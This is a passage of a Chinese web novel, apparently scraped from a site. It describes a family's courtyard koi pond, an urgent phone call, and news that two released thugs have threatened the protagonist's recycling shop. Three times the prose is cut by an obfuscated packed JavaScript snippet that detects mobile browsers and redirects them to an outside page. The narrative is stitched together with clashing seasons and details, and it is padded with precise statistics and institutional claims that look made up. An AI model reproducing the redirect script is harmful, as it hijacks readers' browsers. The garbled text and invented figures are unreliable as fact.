工人发现百年前的石板仍无明显风化。池壁接缝处用传统糯米灰浆勾缝,这种以当年新收糯米汁、陈化三年的石灰、细黄沙按1:3:5比例调制的古法黏合剂,附着力远超现代水泥。 《天工开物》“石灰篇”中就曾记载:“糯米石灰涂壁,百年不裂”,2018年故宫慈宁宫花园东侧鱼池修缮时便复刻了此工艺,经中国建筑科学研究院检测,其黏结强度达3.5MPa, 远超现代M5水泥砂浆的2.5MPa,因此苏家这池子几十年过去也没渗过水,池底的青苔从未因积水腐烂。 缝隙里长着几丛淡绿色的短绒青苔,学名叫“葫芦藓”,这种苔藓只在水质纯净的环境中生长,苏家池子里的苔藓覆盖率达60%,成了天然的水质监测员。 青苔间偶尔藏着半透明的小蜗牛,壳上有浅褐色的螺旋纹,爬过石板时留下银线般的细痕——那是蜗牛分泌的黏液,含多糖类物质,干后会形成一层保护膜,能防止水分蒸发—— 用手摸上去软乎乎的,还带着点18℃左右的沁凉潮气,指尖能感受到青苔直径约0.1毫米的细小绒毛。 夕阳穿过紫藤花的缝隙照在水面,泛着粼粼波光,像有人撒了一把碎金子,随着水波轻轻晃荡,光粒落在池底的鹅卵石上—— 这些鹅卵石是林凡十年前从永定河捡来的,特意挑了直径5-8厘米的圆形石子——把灰色的石头染成了金色。 林凡蹲在池边的汉白玉栏杆旁,这栏杆用的是河北曲阳汉白玉——与故宫太和殿栏杆同源的石料,曲阳汉白玉因碳酸钙含量达98%,杂质仅2%,质地细腻如羊脂,硬度适中易雕刻, 唐代龙门石窟的“卢舍那大佛”基座便用的是这种石料。栏杆上雕着缠枝莲纹,花瓣纹路深约两毫米,摸上去凉丝丝的,即使在25℃的夕阳下也保持着20℃左右的温度,带着玉石特有的凉意。 他指尖捏着一小把橙黄色的鱼食—— 是三岁的笑笑早上特意让保姆去花鸟市场“锦鳞坊”买的锦鲤专用粮,这家创立于1992年的京城水族老字号,曾获2023年中国水族行业“优质饲料奖”, 其饲料研发团队与中国农业大学水产学院合作,粮粒里螺旋藻含量≥20%、虾青素≥5%,采用60℃低温烘焙工艺保留90%以上营养,颗粒比米粒大一圈,直径约5毫米, 带着淡淡的鱼虾腥味。据卖家提供的实测报告,在25℃水温、每日投喂两次的条件下,坚持投喂3个月能让锦鲤鳞片光泽度提升32%, 比宣传的还高2个百分点,去年林凡家的“红顶”就是靠这饲料,鳞片从暗红外露成了亮金红。 笑笑穿着粉色的小皮鞋,鞋头绣着草莓图案,是外婆去年在老字号“内联升”定制的生日礼物—— “内联升”的童鞋有百年工艺标准,外婆特意选了3毫米厚的牛筋防滑鞋底,符合儿童足部发育的弧形设计,鞋头的草莓用日本进口的精梳棉刺绣线, 色牢度达4级以上(行业标准为3级),洗了十几次都没褪色,针脚细得能穿过绣花针的小孔,每平方厘米有20针,比普通童鞋的针脚密一倍。 笑笑向来爱惜这双鞋,平时都收在铺了绒布的鞋盒里,只有来奶奶家才拿出来穿,此刻鞋底沾了点池边的青苔也舍不得蹭掉,只轻轻踮着鞋尖,怕磨掉青苔的痕迹。 她肉乎乎的小手抓着鱼食罐的边缘,罐是景德镇产的陶瓷,上面印着卡通锦鲤图案,是笑笑自己在花鸟市场挑的,小嘴抿得紧紧的,每次只敢倒出两三粒,倒之前还会抬头问林凡: “爸爸,这样鱼鱼不会撑到吧?” 生怕倒多了伤着锦鲤——她上次听保姆说,锦鲤撑到会生病,就记在了心里。鱼食刚触到水面,一群半尺长的锦鲤就“哗啦”一下争涌而来, 有“昭和三色”(黑底红斑白纹,红斑分布均匀,白纹纯净无杂色,是锦鲤中的名贵品种)和“大正三色”(白底红斑黑纹,黑纹仅分布在背部,不超过身体中线, 符合日本锦鲤协会的品鉴标准),最长的那条“红顶”足有三十五厘米——笑笑的小臂才三十厘米,比她的小臂还长5厘米,是林凡去年从苏州太湖渔场买回来的。 那家渔场是国家认证的“有机锦鲤养殖基地”,用太湖活水循环养殖,每天检测水质的pH值(保持在7.5-8.5之间)和溶氧量,锦鲤从小吃天然螺旋藻和南极磷虾, “红顶”去年买回来时才20厘米,一年就长了15厘米,金红相间的鳞片在光下亮得晃眼,像镀了层金粉。 它尾鳍扫出的水花溅在笑笑的米白色裤脚上——这裤子是妻子特意选的纯棉面料,含棉量95%以上,柔软不刺激皮肤—— 还沾了几滴在她的小肉手上,水珠圆圆的,直径约3毫米,像透明的小珠子。 笑笑举着沾了水的手凑到眼前,看水珠里映出的自己,小脸蛋圆圆的,眼睛亮晶晶的,阳光透过水珠,在林凡手背上映出小小的彩虹,红、橙、黄、绿、蓝、靛、紫七种颜色清清楚楚, 引得她咯咯笑,小身子晃得厉害,差点栽进池里。 林凡赶紧用胳膊圈住她的腰,掌心能摸到她衣服上绣的小樱桃图案—— 那是妻子用埃及长绒棉线绣的,这种棉线纤维长度达38毫米以上,比普通棉线细30%,绣一个樱桃要换三种色线: 浅粉(色号P12)、深粉(P25)、嫩绿(G08),前前后后绣了两个晚上,每个樱桃有12片花瓣,每片花瓣要绣5针。 衣服洗后樱桃还是鲜亮的,摸上去有轻微的凸起感,软乎乎的纯棉布料蹭着掌心,满是孩子气的温软,像抱着一团刚晒过太阳的小棉花。 秦淑慧站在一旁的紫藤花架下,手里搭着件米白色的桑蚕丝薄外套—— 暮春的风虽暖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721646|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傍晚却降到了20度左右,带着点凉意,老年人最怕着凉。 这件外套用的是意大利伦巴第大区的120支高支桑蚕丝,伦巴第因夏季温差小,蚕茧洁白度高,所产蚕丝的断裂强度比普通蚕丝高15%,在行业内被称为“丝中白金”。 每平方米面料仅重18克,叠起来能放进火柴盒,透气性经检测达500mm/s,比普通60支桑蚕丝高25%,即使闷热天穿也不闷。 袖口绣着暗纹兰草,是女儿去年托苏绣非遗传承人王阿姨手绣的,王阿姨从事苏绣40年,曾凭《兰草图》获2021年中国非遗技艺展金奖,绣兰草用的是“虚实针”: 第一针长1厘米,第二针短0.5厘米,交替排列形成虚实渐变,远看兰草像在风中摇曳,近看需用10倍放大镜才能看清针脚,一根线能劈成8股,细得几乎看不见。 秦淑慧看着笑笑撒鱼食的模样,眼里的慈爱像刚熬好的冰糖水,甜得能溢出来,连眼角的细纹都透着软意—— 她想起自己小时候,在通州娘家的小院也有个小鱼池,那时候没有专用鱼食,就用馒头屑喂鱼,鱼吃得欢,她也趴在池边笑得欢,如今看着笑笑肉乎乎的侧脸,就像看到了三十年前的自己。 这架紫藤是二十年前秦淑慧刚嫁进苏家时种的,当年只是拇指粗的小苗,种的时候还怕活不了,每天早上浇水、傍晚松土,冬天裹上草绳防冻,如今藤干已有碗口粗,直径约10厘米, 枝蔓爬满了整个两米高的花架,开的紫花串正处在盛花期——紫藤的花期只有20天左右,现在正是最艳的时候—— 最长的那枝有26厘米,比笑笑的小臂还长1厘米,每串花有25朵左右的小花,花瓣边缘泛着浅白。 风一吹,淡紫色的花瓣就像小蝴蝶似的落在她的外套上,花瓣软得像天鹅绒,厚度仅0.1毫米,落在身上几乎没重量,她伸手轻轻拂掉,指尖还留着清甜的花香, 那香气里带着点蜜味—— 是紫藤花分泌的花蜜,甜度达15Brix(相当于蜂蜜甜度的一半),她深吸一口,连心里都觉得甜。 风里除了紫藤香,还混着墙角“粉扇”月季的淡香—— 那几株月季是三年前林凡特意选的品种,“粉扇”是中国农科院从1992年开始培育的经典品种,育种团队筛选了32个亲本,经过8年杂交选育才成功,核心优势是抗寒性强: 北方零下10度也冻不死,不用像其他月季那样冬天移到室内; 抗病性也突出,对黑斑病、**病的抗性达90%以上,不用打农药。 花朵直径约15厘米,成人拳头平均直径才10厘米,比成人拳头还大一圈,花瓣有32层,外层花瓣宽约2厘米,边缘有细细的波浪纹,内层花瓣只有1厘米宽, 层层叠叠像千层蛋糕,淡粉色的花瓣边缘泛着白,像撒了层薄粉。 香气清雅不浓烈,经专业机构检测,香气成分中含12%的苯乙醇,所以有淡淡的杏仁香,是“粉扇”独有的味道,不像其他月季那样刺鼻。两种花香漫得满院都是安宁,连池边石缝里的蛐蛐都只敢轻叫—— 那是油葫芦蛐蛐,体长只有1.5厘米,比普通蛐蛐小一半,叫声频率在3000赫兹左右,细得像一根丝线,只有傍晚气温降到20度才出来鸣叫,仿佛怕扰了这份静。 客厅里的老座钟“滴答”响着,这是德国“荣汉斯”1950年代的“经典帝国款”座钟,“荣汉斯”在当时是欧洲三大钟表品牌之一,这款座钟采用黄铜机芯,机芯里有18个精密齿轮, 每个齿轮的齿距误差不超过0.01毫米,均经手工打磨,表面镀了层防氧化的铑金。 是苏家老太爷1970年从海外带回的,当时通过外贸公司渠道,历经3个月海运才到中国,几十年来秦淑慧每天早上九点准时上弦,一次上弦能走36小时,走时误差从未超过50秒, 比现代电子钟的月误差还小(普通电子钟月误差约1分钟)。 此刻正好是傍晚六点半,夕阳已降到西山半山腰,把天空染成橘红色,云朵像镶了金边,钟摆轻轻晃动,长32厘米的黄铜钟摆摆动弧度约16度,低沉的“咚”声慢悠悠飘出来; 这钟声的频率约200赫兹,不响却穿透力强,能传到庭院每个角落;混着铜铃的轻响、紫藤叶的“沙沙”声,落在夕阳里,让这暮春的傍晚更添了几分岁月的温柔,连时间都像在这院子里停住了脚,舍不得走。 第93章:庭院惊铃 院角的桂花树还凝着晨露,米粒大的水珠挂在嫩黄的花瓣尖上,像缀了满树碎钻—— 风一吹就顺着花瓣弧度滚落,“嗒”地砸在青石板上,晕开一小圈浅灰色的湿痕,半分钟才慢慢收干。 细碎的光斑透过梧桐叶的掌状纹路筛下来,在青石板的缝隙里跳着,像撒了把会动的碎银; 连穿堂风都裹着三分软,带着桂花的甜香漫过来,那香气不浓不烈,是刚能勾着人鼻尖的淡甜,拂过廊下的竹椅时, 椅垫上的蓝布纹都跟着轻轻晃,连椅脚旁的吊兰垂叶都晃出细碎的弧度。 直到一阵急促的电话铃声突然划破这份静谧,像一把锈迹斑斑的剪刀,猝不及防剪断了缠绕在庭院里的温柔,连梧桐叶的沙沙声都顿了半拍。 不是客厅里那部深棕色的老式座机。那是林凡母亲生前用了十二年的旧物,机身侧面还留着两道浅浅的划痕—— 一道是去年笑笑学走路时,扶着机身踉跄撞出来的,浅褐色的木纹翻了边,当时母亲还笑着用软布擦了又擦,说“咱们笑笑给老电话盖了个‘纪念章’”; 另一道更淡,是母亲生前擦电话时,不小心被桌角的金属扣蹭的,那天是梅雨季的晴天,阳光斜斜照在机身上,母亲眯着眼睛笑: “老物件了,多道痕更亲,跟人似的,有故事才暖。” 这座机的铃声是母亲当年特意调的“叮铃”声,像老座钟走针后的余韵,慢悠悠的,专接家里人的电话: 比如乡下的舅舅,总在稻子熟时打来,说今年晚稻亩产比去年多了两百斤,要寄袋新米来,还得是刚脱壳的“鲜米”; 或是笑笑的外婆,在电话里絮叨着熬了绿豆汤,加了冰糖和陈皮,让林凡下班顺路去拿,说“笑笑昨天还说想喝”; 偶尔也会有母亲生前的老姐妹打来,问起庭院里的桂花树,说还记得二十年前母亲摘桂花腌糖的味道,“那糖抹在馒头上,能多吃两个”。 铃声来自保姆房间里那部对外的工作电话,正红色的机身亮得有些扎眼——在庭院的青灰瓦、原木桌和翠绿植物间,像块突兀的朱砂。 那是去年家政公司统一配置的新款,型号是“得力D168”,机身比老式座机小一圈,按键是发光的白色,夜里能看清数字。 它被放在靠窗的旧木桌上,桌角还缺了块漆,是去年张妈搬月季花盆时磕的,当时她还特意用同色油漆补了补,可惜颜色差了点,反而更明显。 桌子旁边堆着一沓快递单,最上面那张印着“巷口惠民超市”的地址,是昨天买的薰衣草味洗衣液,张妈说“笑笑对香精敏感,这个牌子没味道”; 下面压着份家政服务协议,落款日期是去年九月十二日,墨迹还很清晰,甲方签字处是林凡的名字,乙方是家政公司的公章。 这部电话的铃声是出厂设定的“滴滴”声,尖锐得像指甲刮过磨砂玻璃,每一声都带着金属的冷硬,专门用来接家政公司的派单、快递员的取件呼叫。 过去半年里总共只响过七次——三次是快递员送笑笑的玩具(一次是积木,一次是绘本,一次是毛绒兔子), 两次是家政公司确认服务时间(一次是春节调休,一次是张妈请假),还有两次是错拨的电话(一次是找“王女士”,一次是打错号码)。 此刻在连虫鸣都放轻了脚步的庭院里,这铃声格外刺耳,每一声都像根细针,直直戳在人耳朵里,扎得人太阳穴发紧,连吊兰的垂叶都停止了晃动。 保姆张妈正蹲在廊下的石凳旁摘菠菜。 那菠菜是早上六点多在巷口菜市场最东头的王大爷摊位买的,王大爷今年六十八了,每天五点半准时出摊,摊位上总摆着自家小菜园种的蔬菜,菠菜、生菜、小番茄,都是带着土的新鲜货。 今早张妈去时,王大爷还笑着递了把小葱: “搭着炒,香!” 这菠菜是本地小菠菜,叶片薄嫩,翠绿的叶子上沾着的水珠,还是摊位旁水管里刚接的凉水,凉丝丝的沾在手上。 张妈指尖捏着菠菜茎,指甲盖边缘有些泛白——做了五年家务,她的拇指和食指指尖磨出了层浅褐色的薄茧,是常年掐菜茎、擦桌子磨出来的。 刚掐掉第三根老根,把老根丢进旁边的竹篮里(竹篮是林凡母亲留下的,编得细密,现在用来装厨余垃圾),铃声就“滴滴”地炸了起来。 手里的菠菜“啪嗒”掉在青石板上,滚了两下沾了些灰褐色的尘土,叶片也折了角,她却顾不上捡—— 张妈在林家做了五年,平时最是稳当,说话走路都慢声细气,上次这么慌还是前年笑笑半夜发烧到39度,当时她抱着笑笑往医院跑,穿的棉鞋都跑掉了一只,鞋跟也差点崴掉。 此刻她脸色瞬间从平和的浅黄变成纸一样的苍白,围裙上还沾着早上切胡萝卜时蹭的橙黄色碎屑,是切胡萝卜丁时不小心蹭到的; 围裙的带子也松了一边,没顾上系,就慌慌张张往房间跑。 她脚上的黑色高跟鞋是女儿上个月刚买的,在商场打折时抢的,三百多块,女儿说“妈你总穿旧鞋,该换双新的,穿得精神点”,鞋跟三厘米高,踩在青石板上“噔噔”响, 每一声都像敲在每个人的心尖上,连廊下竹椅上的蓝布垫都跟着颤了颤,垫子里的棉絮都仿佛在发抖。 匆匆按住接听键时,她的手还在抖,指节捏得有些发白,连掌心都冒出了细汗,只听了两句,说话的声音就发颤: 电话那头是上海家政公司的王姐,平时说话总是慢悠悠的,连报派单都带着点笑意,上次还跟张妈说 “你在林家运气好,雇主和气”,今天却像被人掐了嗓子,声音比平时高八度,还带着点喘气,像是刚跑过步: “张妈!赶紧找林先生!上海这边出事了,急得很!晚晴小姐那边好像……好像情况不好!” 张妈攥着听筒的手都出了汗,听筒的塑料壳子沾了汗,变得有些滑,她不得不更用力地攥着。 她突然想起笑笑还在廊下玩积木—— 那是林凡上次去日本旅游买的木质彩虹积木,一共十二块,笑笑最喜欢用红色和黄色搭“小房子”——那孩子胆子小,上次听到打雷就抱着毛绒兔子哭了半天,连最喜欢的草莓蛋糕都没吃。 于是脚步猛地放轻,却又急着传话,只能踮着脚走得飞快,高跟鞋的鞋跟偶尔蹭到青石板的缝隙,发出“咯吱”的轻响,差点崴到。 快步凑到林凡身边时,她呼吸都带着喘,胸口起伏得厉害,说话时还得压低声音,像怕惊动了廊下的麻雀,却难掩惶急: “林先生,是上海那边家政公司的王姐打来的,说找您,语气特别急,刚才她还说‘晚晴小姐那边……’,后面的话没听清,但听着像是出了大事,您快接接吧,别耽误了。” 上海? 林凡喂鱼的动作猛地一顿。他手里捏着的鱼食是苏晚晴最喜欢的进口品牌“海洋之星”,橙黄色的小颗粒,闻着还有点淡淡的鱼腥味,不含防腐剂,专门给锦鲤吃的。 上次去上海时,他特意在南京路“宠物乐园”买的—— 那家店在某商场负一楼,当时排队的人不少,他排了二十多分钟才买到,苏晚晴还笑着揉他的头发说“咱们家锦鲤比人吃得都好,你都没给我排队买过奶茶”。 此刻鱼食“啪嗒”一声落在水面,惊得缸里的五条锦鲤“唰”地四散—— 这缸锦鲤是去年苏晚晴生日时,两人一起从花鸟市场挑的,最大的那条红尾锦鲤叫“晚晚”,还有条白底黑斑的叫“晴晴”,剩下三条小的叫“平平”“安安”“笑笑”,对应着一家人。 每次苏晚晴过来,“晚晚”和“晴晴”都会凑到缸边吐泡泡,像是在跟她打招呼。 水花溅到林凡的藏青色西裤上,那西裤是苏晚晴去年送他的“杰尼亚”定制款,棉质混纺的,摸起来软乎乎的,平时他都舍不得穿,今天因为要陪笑笑在庭院玩,特意换了这条软料的,怕硌着孩子。 他却没察觉裤腿的湿痕,只觉得心头“咯噔”一下,第一下跳起来的,就是苏晚晴的病情。 三天前他才跟上海肺科医院的李主任通了电话——李主任是国内治肺炎的顶尖专家,还是全国肺科协会的常务委员, 发表过二十多篇关于重症肺炎诊疗的论文,其中一篇还登在《中华结核和呼吸杂志》上; 上海肺科医院在国内肺科医院排名前三,重症监护室的设备都是进口的。 当时李主任在电话里特意说: “林先生,您放心,苏小姐的炎症指标已经降下来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721647|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从之前的32降到了9以下,今天上午刚撤了呼吸机,再观察两天就能转到普通病房,后续只要按时吃抗生素,恢复会很快。” 他当时还特意把这句话记在手机备忘录里,下面还补了句 “晚晴喜欢吃蓝莓,明天让张妈买些,再做她爱吃的蓝莓酸奶”,现在一想到这些,心就像被一只手紧紧攥住,连呼吸都发紧,喉咙里也有点发堵,像是塞了团湿棉花。 他不自觉地攥紧了旁边的实木栏杆—— 这栏杆是十年前安装的,当时是林凡和母亲一起去城郊的木材市场挑的樟木,老板说樟木能防虫,还带着淡淡的香味,两人挑了半天,选了最粗的几根。 这些年栏杆被雨水浸得发深褐色,表面还能看到淡淡的木纹,像老人手上的纹路。最近梅雨季,下了一周的雨,栏杆上长了层薄薄的青苔,是浅绿色的,摸起来湿滑得很,指尖一碰就能沾到细碎的绿末。 指节蹭到青苔时,一股凉意顺着皮肤渗进来,像摸到了刚从冰箱拿出来的冰可乐罐身,他却觉得浑身发燥,额头冒了层细汗,连衬衫的领口都有点湿了,指节也因为攥得太紧而泛白,连指甲盖都透着青。 “爸爸,鱼鱼怎么跑了呀?” 廊下传来笑笑软软的声音,带着点疑惑,还哼着半首《小星星》。 林凡立刻转过身,快步走到笑笑身边,蹲下来拍了拍她沾了鱼食碎屑的小手—— 那碎屑是橙黄色的,粘在笑笑肉乎乎的掌心,还沾了点口水,因为笑笑刚才忍不住舔了舔手指,把碎屑弄湿了一小块。 他用拇指轻轻蹭掉碎屑,动作很轻,怕弄疼女儿软软的皮肤,声音也尽量放得温和,像揉了棉花,怕吓着孩子: “笑笑乖,鱼鱼是看到爸爸要接电话,先去水里玩啦。你跟外婆再玩会儿积木,爸爸去接个电话就来,好不好?” 笑笑仰着小脸,眨了眨圆溜溜的眼睛,眼睫毛长长的,像两把小扇子,忽闪忽闪的;她点了点头,还伸手轻轻揪了揪林凡的衬衫衣角—— 怕弄皱了爸爸的衣服,只用指尖捏着一点布料,那布料是棉质的,浅灰色,上面有细条纹。 “爸爸快点哦,我搭好小房子等你看,还要给鱼鱼留个窗户呢,让它们能看到我。” 林凡摸了摸她的头,笑着应了声“好”,眼底却藏不住慌,像压了块石头,起身时脚步比来时急了不少。 他脚上的皮鞋是苏晚晴去年给买的意大利手工款,鞋面是深棕色的牛皮,擦得锃亮,平时舍不得穿,今天因为要陪笑笑,特意换了软底的,怕走路声音大吓着孩子。 此刻鞋底敲在青石板上,“笃笃”的声音比平时响了许多,惊得廊下栖息的两只麻雀“扑棱”着翅膀飞起来, 一根灰褐色的羽毛掉在笑笑刚搭好的积木塔尖上,笑笑想去拿,又怕弄倒积木,只能伸着小手轻轻够,嘴里还小声念叨“羽毛别掉呀”。 客厅里很静,静得能听到墙上挂钟的“滴答”声。 浅灰色的沙发上还搭着笑笑的粉色小外套,是上周在儿童商场买的,上面印着小兔子图案,袖口还有松紧带,怕风灌进去; 沙发扶手上还放着笑笑的毛绒兔子,耳朵都被揉得有点变形了。 茶几上放着他刚泡的龙井,茶叶是清明前采的明前茶,装在青花瓷罐里,罐子上画着山水图; 杯子里的热气还没散,在空气中晕开一小片白雾,茶香淡淡的,混着庭院飘进来的桂花香。 深棕色的老式座机就放在电视柜左边,旁边摆着林凡母亲的相框,相框是胡桃木的,边缘打磨得很光滑,里面的人穿着蓝色的碎花衬衫,笑着看向镜头,嘴角还带着两个浅浅的酒窝,仿佛也在看着他,眼神温和。 座机的听筒还搁在话机旁,刚才张妈已经帮忙转接过来,黑色的塑料听筒边缘被磨得光滑,是用了十二年的痕迹,还残留着张妈的体温,带着点淡淡的护手霜味道—— 张妈平时用的是凡士林护手霜,三块钱一大罐,说“便宜又滋润,擦手擦脚都能用”。 林凡走过去拿起听筒,冰凉的塑料贴在耳边时,他才觉得指尖有些发麻,连耳朵都有点发烫,像被太阳晒过。 还没来得及开口说“喂”,里面就炸开一个熟悉却带着明显慌乱的粗嗓门—— 第94章:铁屑与花香 凡子!不好了!出大事了!" 电话那头,王猛的声音像被滚油泼过,又急又抖,还夹杂着拉风箱般的粗重喘息,显然是拼了命跑过来的。 即使隔着漫长的电话线,林凡眼前也瞬间浮现出王猛此刻狼狈的模样: 他一定是从废品收购站门口那辆军绿色的旧三轮车旁跌撞冲出来的—— 那辆三轮是林凡三个月前从城东老赵那里用八十块钱收来的,右侧挡板有个明显的凹痕,链条锈得厉害,骑起来会发出"嘎吱嘎吱"的响声。 王猛额头上的汗珠像断了线的珠子,顺着他那被七月毒日头晒得黝黑发亮的脸颊往下淌,连那件洗得发白、领口已经起毛的粗布衬衫,前胸后背都湿透了,深色的汗渍勾勒出他微胖的体型轮廓。 他那只长满老茧、指甲缝里还嵌着黑色油污的右手,此刻必定正死死攥着那个油腻腻的公用电话听筒,因为过度用力,指关节已经泛白,微微颤抖着,以至于他嘶哑的声音都变了调,带着一种金属摩擦般的破音,狠狠刺痛了林凡的耳膜。 林凡的心猛地一沉,仿佛骤然坠入冰窟,一股寒意从脚底直窜头顶。 他下意识地攥紧了拳头,指甲深深掐进掌心,用那清晰的刺痛感强迫自己冷静。他了解王猛,这个跟他从小一起在县城南街长大的发小, 性子憨直得像头牛,胆子却不算大,平时见到街坊邻居吵架都绕着走。 自己若是先乱了阵脚,王猛只会更六神无主。他深深吸了一口气,将胸腔里翻涌的不安和瞬间掠过脑海的各种糟糕猜测—— 难道是笑笑宝贝屋里发生了什么大事情?还是在上海医院养病的晚晴病情发生什么样的变化? 如果说是晚晴发生什么,应该是小姑打电话来啊;强压下去一口气,尽量让声音听起来平稳如常,甚至刻意放缓了语速: "猛子,别急,天塌不下来。慢慢说,是晚晴那边出问题了?" "不是嫂子!不是嫂子!" 王猛急忙打断,声音里的颤抖却更加明显,既怕林凡误会,又像是被巨大的恐惧攫住了咽喉,"是……是黑皮!还有刀螂!那两个杀千刀的,他们出来了!就这两天的事!" 黑皮?刀螂? 这两个名字像淬了毒的冰针,带着半年前那段混乱不堪的记忆,狠狠扎进林凡的神经末梢。他拿着听筒的手指猛地收紧,塑料外壳发出不堪重负的"咔咔"轻响,指节瞬间失去血色。 脑海中不受控制地闪过那个夏末傍晚,在县城那个充斥着废铁锈味、腐烂纸板气和各种不明异味、鱼龙混杂的"兴隆"废品市场里,留着青皮寸头、 脖子上蜿蜒着一条狰狞青龙纹身(龙尾一直延伸到锁骨下方)的黑皮,以及那个瘦高得像麻秆、总穿着一条膝盖破了大洞、沾满油污的牛仔裤的刀螂, 是如何带着三四个跟班,大摇大摆地走到他的摊位前。 他们偶然发现自己不经意间收到的一批来自某单位图书馆处理的旧书中,竟然夹着几本上世纪五六十年代出版的、品相相当不错的绝版连环画,如《山乡巨变》、 《孙悟空三打白骨精》等,据懂行的老街坊私下估摸,这几本小书在黑市上可能价值数万。 黑皮当时那双三角眼里闪烁的贪婪光芒,林凡至今记忆犹新。他们想强行以区区两百块的"废纸价"夺走这批"宝贝"。 为了永绝后患,也为了保护自己和周边几个经常被他们骚扰的小摊贩的营生,林凡当时不得不设了一个精密的局。 他故意将那几本连环画混在一堆普通的过期杂志里,摆在摊位最显眼的位置作为诱饵,同时暗中让王猛留意黑皮一伙的动向。 果然,贪婪驱使下的黑皮在第三天傍晚趁市场人流稀少时动手了。 而林凡则提前联系了相熟的片区**陈国庆警官——那位年近四十、脸上总带着和气笑容但眼神锐利的老警察,在市场管理办公室布下了口袋。 最终人赃俱获,再加上林凡之前半个多月暗中收集的、他们长期欺行霸市、勒索其他摊贩(比如强迫低价收购好货、强收"保护费")的录音和书面证据一并提交, 才总算以"寻衅滋事兼多次**"的罪名,将这两颗困扰了市场小半年的毒瘤送进了监狱。 当时陈警官私下跟他透过底,综合案情,考虑到他们是累犯(黑皮之前就有过两次拘留记录),社会影响恶劣,这次判个一年半载应该问题不大。 林凡本以为,这番运作至少能换来一年多的太平日子,让他能稍微喘口气,好好规划一下废品站的未来——谁能想到,这才短短半年,日历才翻过不到七个月,他们竟然就出来了? 这远超寻常的减刑或假释周期,背后是否隐藏着什么不为人知的关节? 事实上,根据本省**一份近年的非公开统计数据显示,类似黑皮、刀螂这类具有地头蛇性质、熟悉地方规则的惯犯,在短期刑期(三年以下)的**中, 约有15%的人员通过所谓的"积极改造表现"(这背后可能涉及复杂的运作甚至是不正当交易)获得了不同程度的减刑。 更令人担忧的是,这类人员出狱后的再犯率相对较高。 有犯罪学研究论文指出,在某些特定类型的财产和暴力威胁类犯罪中,出狱后三年内的再犯率可能高达40%以上,尤其是在出狱后的头三个月内, 因报复、重操旧业或急于获取经济来源而引发的案件尤为集中。林凡的担忧,绝非空穴来风。 "他们一出来就四处打听你!今天下午直接摸到店里来了!" 王猛的声音压得极低,气音中带着惊惶,仿佛那两人就躲在门外偷听, "万幸我当时正在门口捣鼓那辆军绿色的旧三轮——就是你之前收来,说链条锈**让我看看能不能修好,以后用来拉点小件废品也方便。 我正拿着那把生锈的扳手,费劲地拧着连接踏板的螺丝呢,一抬头,就看见他们俩大摇大摆地晃荡过来,就从街角那个歪脖子槐树底下拐过来的! 黑皮套了件紧巴巴的黑色弹力背心,一身横肉勒得鼓鼓囊囊,那脖子上的青龙纹身好像更狰狞了,在阳光下泛着油光; 刀螂还是那副德行,套着件脏得看不出本色的破夹克,眼神阴恻恻的,像刚从洞里钻出来的毒蛇一样,直勾勾就往店里扫视,一看就来者不善! 我吓得手里的扳手''哐当''一下就掉地上了,砸在一块废铁片上,火星都溅起来了。 我也顾不上捡,连滚带爬地冲到店门口,使出吃奶的劲儿把那个绿色的、有些地方已经掉漆生锈的卷帘门''哗啦''一声猛地拉下来锁死!好歹没让他们闯进去!" 说到这里,王猛顿了一下,喉咙里像是堵了什么东西,语气里的后怕和委屈浓得几乎要溢出来,甚至带上了一丝哽咽的哭腔: "他们在门口跳着脚骂了足足有半个钟头!骂得可难听了,说''林凡你个缩头乌龟,躲到燕京就以为能高枕无忧了?'', 还嚷嚷着什么''躲得过初一躲不过十五,咱们这账有的算'',''欠债还钱,天经地义''(我们什么时候欠他们钱了!)! 最后……最后他们泄愤似的,抬脚就把咱们门口摆的那两盆月季给踹碎了—— 就是你上个月特意从外面那个张大姐家那个开满花的小院里搬回来,说看着喜庆、能给店里添点生气的粉色月季。 那陶土花盆哪经得起黑皮那么狠踹,''哐啷''一下就裂成了好几瓣,黑褐色的泥土溅得到处都是,刚开没几天的、粉嫩嫩的花苞和叶子,被他们用脚上的破皮鞋碾过来碾过去, 全都烂了,花瓣都嵌进泥里了,混着碎陶片……那场面,简直……简直欺人太甚!" 这种通过破坏财物进行暴力威胁的行为,在当地废旧物资回收行业这个竞争激烈、有时游走于灰色地带、讲究"势力范围"的领域并不罕见。 根据该县城城关派出所去年发布的一份内部治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731089|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安情况通报,类似通过打砸店铺物品、破坏经营设施等方式进行恐吓、 施加压力的案件,每月都有数起记录在案,多与行业竞争、债务**或旧怨有关。 通报中特别提及,去年全县范围内就至少发生过三起较为典型的废品收购站经营者因拒绝不合理低价转让货物(如含有铜、铝的废电机)或旧怨而遭到威胁、恐吓乃至财产破坏的案例。 